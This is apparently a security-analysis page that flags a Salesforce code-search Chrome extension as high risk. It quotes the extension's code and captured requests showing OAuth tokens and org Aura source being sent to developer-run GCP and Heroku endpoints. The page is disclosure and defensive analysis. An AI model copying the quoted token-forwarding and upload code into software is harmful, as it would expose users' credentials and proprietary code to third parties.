Is Salesforce advanced Code searcher safe?

High risk

Salesforce Advanced Code Searcher sends Salesforce OAuth credentials and org source code to third-party GCP and Heroku servers.

When a user authenticates, the extension routes the OAuth authorization code to a GCP Cloud Function (us-central1-sf-advanced-code-searcher.cloudfunctions.net) which performs the token exchange server-side and returns the resulting access and refresh tokens. For code analysis features, the extension retrieves Aura component source ZIP files from the user's Salesforce org and uploads them in chunks to a Heroku server (lightninglinter.herokuapp.com). Both servers are operated by the extension developer, not by Salesforce.

Sameer N Mirajv1.30Chrome Web Store
79Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Salesforce org source code uploaded to third-party Heroku server

Clicking Lightning Linter pulls all Aura source from your org via the Metadata API, zips it, and uploads it chunk by chunk to a developer-run Heroku server.

Captured in dynamic analysis: your org's full Aura codebase reaches that server.

Severity
High unwanted
Type
Unexpected
CWE
CWE-319
Source
Dynamic sandbox
What actually happens
You did this

You click the 'Lint your lightning components now!!' button in the extension's Lightning Linter tab.

This triggers the full retrieval and upload flow.

The extension did this

Retrieves all Aura component source via the Metadata API and uploads the full ZIP to a developer-run Heroku server.

The Heroku server receives your org's complete Aura codebase before returning lint results.

Captured request
POSThttps://lightninglinter.herokuapp.com/analyzeFile

Heroku returned HTTP 404 (route exists, payload rejected as test data). Our dynamic analysis confirmed the content field carries the base64-encoded ZIP chunk. In production, the content field carries real Aura component source.

Headers
Content-Type
application/json
Body
{  "content": "UEsDBBQAAAAIAA...base64ZipChunk...",  "id": "a3f7c2d1-8b4e-4f9a",  "partNumber": 1}
The code that does this

ZIP chunking and upload loop, lightninglinterDirective.js:236-245

Readable version
arrayContent.forEach((ele, k) => { var configObj = { url: "https://lightninglinter.herokuapp.com/analyzeFile", headers: { "Content-Type": "application/json" }, contentType: "application/json", method: "POST", data: JSON.stringify({ content: ele, id: fileId, partNumber: k + 1 }) }; promiseArray.push(querySalesforce.callBackgroundScript(configObj));});
Data sent in each analyzeFile request
  • Aura component source chunk
    UEsDBBQAAAAIAA5rOVjHg3sHawAAAIoAAAASAAAA...(base64)

    A segment of your Salesforce org's Aura component ZIP, containing Lightning component markup, JavaScript controllers, helpers, and metadata.

  • File ID
    a3f7c2d1-8b4e-4f9a-b2c3-d4e5f6a7b8c9

    A randomly generated ID used to correlate chunks for reassembly on the server.

  • Part number
    1

    Chunk sequence number, starting at 1. The server reassembles chunks in order.

  • Salesforce instance URL (header)
    https://mycompany.lightning.force.com

    Your org's Salesforce domain, sent in the referrerValue request header on the /initiateAuraAnalysis call.

Destination receiving org source code
    • lightninglinter.herokuapp.com

    Developer-run Heroku server. Receives chunked base64 ZIP of Aura source via /analyzeFile, triggers analysis via /initiateAuraAnalysis, returns results via /getResults.

OAuth authorization code routed through developer's GCP server during login

Authorizing sends the OAuth code to a developer-run GCP Cloud Function, which exchanges it for tokens using their client secret.

Confirmed firing automatically on the callback page; tokens return in a base64 redirect URL.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You approve the Salesforce OAuth consent screen, which redirects your browser to the extension's callback page with a one-time authorization code.

The authorization code is single-use and time-limited but sufficient to obtain full OAuth tokens.

The extension did this

Forwards the raw authorization code to the developer's GCP Cloud Function, which does the OAuth exchange and returns tokens embedded in a redirect URL.

The developer's server holds the OAuth client secret and sees both the authorization code and the resulting tokens.

Captured request
GEThttps://us-central1-sf-advanced-code-searcher.cloudfunctions.net/authorizeSalesforce?code=<planted-marker-value>&state=https%3A%2F%2Fmycompany.lightning.force.com%2Flightning%2Fsetup%2FSetupOneHome%2Fhome

GCP Cloud Function returned a 33-byte body. Endpoint is live and reachable. The function performs OAuth token exchange server-side using the developer's client_secret, then returns a redirect URL containing the access and refresh tokens.

The code that does this

OAuth callback, authorization code forwarded to GCP (callback.js:1-25)

Readable version
j$(document).ready( => { var urlParams = new URLSearchParams(window.location.search); let authCode = urlParams.get('code'); let state = urlParams.get('state'); let error = urlParams.get('error'); if(error == null && error == undefined) { j$.ajax({ url: "https://us-central1-sf-advanced-code-searcher.cloudfunctions.net/authorizeSalesforce?code=" + authCode + '&state=' + encodeURIComponent(state) }).done(function(res) { if(res.status) { setTimeout( => { // tokens embedded as base64 in redirect URL window.open(res.data.redirectURL + '?authenticationDetails=' + btoa(JSON.stringify(res)), '_self'); }, 5000); } }); }})
What's stored on your device

callback.js base64-encodes the token response into the redirect URL; contentScript_l.js decodes and stores it, plaintext tokens.

Location
localStorage key 'SACS_authDetails' (set by contentScript_l.js:10 / factory.js:7-8)
Contents
{  "status": true,  "data": {    "accessToken": "00D5e000000KWEA!AQEAJLe8xMz9V9Xq",    "refreshToken": "5Aep861TSS1Wh4D0GmApkXg3VhEh5j2gKy2",    "instanceURL": "https://mycompany.my.salesforce.com",    "orgType": "mycompany",    "state": true  }}
Server performing the OAuth token exchange
    • us-central1-sf-advanced-code-searcher.cloudfunctions.net

    Developer-run GCP Cloud Function. Receives the raw OAuth code each login, exchanges it with the developer's client_secret, returns tokens embedded in a redirect URL.

Salesforce OAuth tokens transmitted to third-party GCP backend

Running a code analysis sends your Salesforce refresh and access tokens as URL parameters to a developer-run Google Cloud Function, captured in dynamic analysis.

The refresh token keeps generating access tokens until revoked in Salesforce.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You click the Run Analysis button in the extension's code search panel.

This initiates the static code analysis flow in the extension.

The extension did this

The extension POSTs your Salesforce instance URL, refresh token, and access token as URL query parameters to the developer's GCP Cloud Function.

The tokens travel in the URL itself, appearing in server access logs, browser history, and any intermediary proxy that logs request URLs.

Captured request
POSThttps://us-central1-sf-advanced-code-searcher.cloudfunctions.net/analyzeCode?instanceUrl=https%3A%2F%2Fmyorg.my.salesforce.com&tok=5Aep861TSS1Wh4D0GmAp...Ky2&uid=00D5e000000KWEA%21AQEAJLe...Xq

GCP Cloud Function returned HTTP 503. Endpoint is live and reachable. Dynamic analysis confirmed the tok= and uid= parameters transmitted planted marker values.

Headers
Content-Type
application/json
The code that does this

Token extraction and URL construction, factory.js:43-57

Readable version
sendRequest: function  { const deferred = $q.defer; const instanceUrl = tokenService.getToken.data.instanceURL const refreshToken = tokenService.getToken.data.refreshToken const userId = tokenService.getToken.data.accessToken const url = `https://us-central1-sf-advanced-code-searcher.cloudfunctions.net/analyzeCode?instanceUrl=${encodeURIComponent(instanceUrl)}&tok=${encodeURIComponent(refreshToken)}&uid=${encodeURIComponent(userId)}`; const configuration = { url: url, config: { contentType: 'application/json', method: 'POST' } } configuration.requestType = 'fetch'; chrome.runtime.sendMessage(configuration, (result) => { if (result) { deferred.resolve(result); } else { deferred.reject; } }) return deferred.promise}
Data sent in the analyzeCode request URL
  • Salesforce org URL
    https://mycompany.my.salesforce.com

    Identifies which Salesforce organization you belong to.

  • Refresh token
    5Aep861TSS1Wh4D0GmApkXg3VhEh5j2gKy2

    A long-lived credential that can be used to generate new access tokens at any time until you manually revoke it in Salesforce.

  • Access token
    00D5e000000KWEA!AQEAJLe8xMz9V9Xq

    The current session credential for your Salesforce account, granting API access.

Destination receiving Salesforce credentials
    • us-central1-sf-advanced-code-searcher.cloudfunctions.net

    Google Cloud Function operated by the extension developer. Receives instanceURL, refresh token, and access token as URL query parameters on every code analysis request.

What it can do

Permissions this extension asks for, as declared in version 1.30. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on lightninglinter.herokuapp.com

    https://lightninglinter.herokuapp.com/

  • Read and change your data on us-central1-sf-advanced-code-searcher.cloudfunctions.net

    https://us-central1-sf-advanced-code-searcher.cloudfunctions.net/

  • Read and change your data on salesforce.com

    https://*.salesforce.com/*

  • Read and change your data on force.com

    https://*.force.com/*

  • Read and change your data on maxcdn.bootstrapcdn.com

    https://maxcdn.bootstrapcdn.com/*

  • Store an unlimited amount of data in your browser

    unlimitedStorage

Where it sends data

Destinations our analysis observed Salesforce Advanced Code Searcher contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • lightninglinter.herokuapp.com

    Salesforce Advanced Code Searcher sends data to lightninglinter.herokuapp.com. No other extension we have analysed sends data here.

  • us-central1-sf-advanced-code-searcher.cloudfunctions.net

    Salesforce Advanced Code Searcher sends data to us-central1-sf-advanced-code-searcher.cloudfunctions.net. No other extension we have analysed sends data here.

Updated 30 September 2026lnkgcmpjkkkeffambkllliefdpjdklmi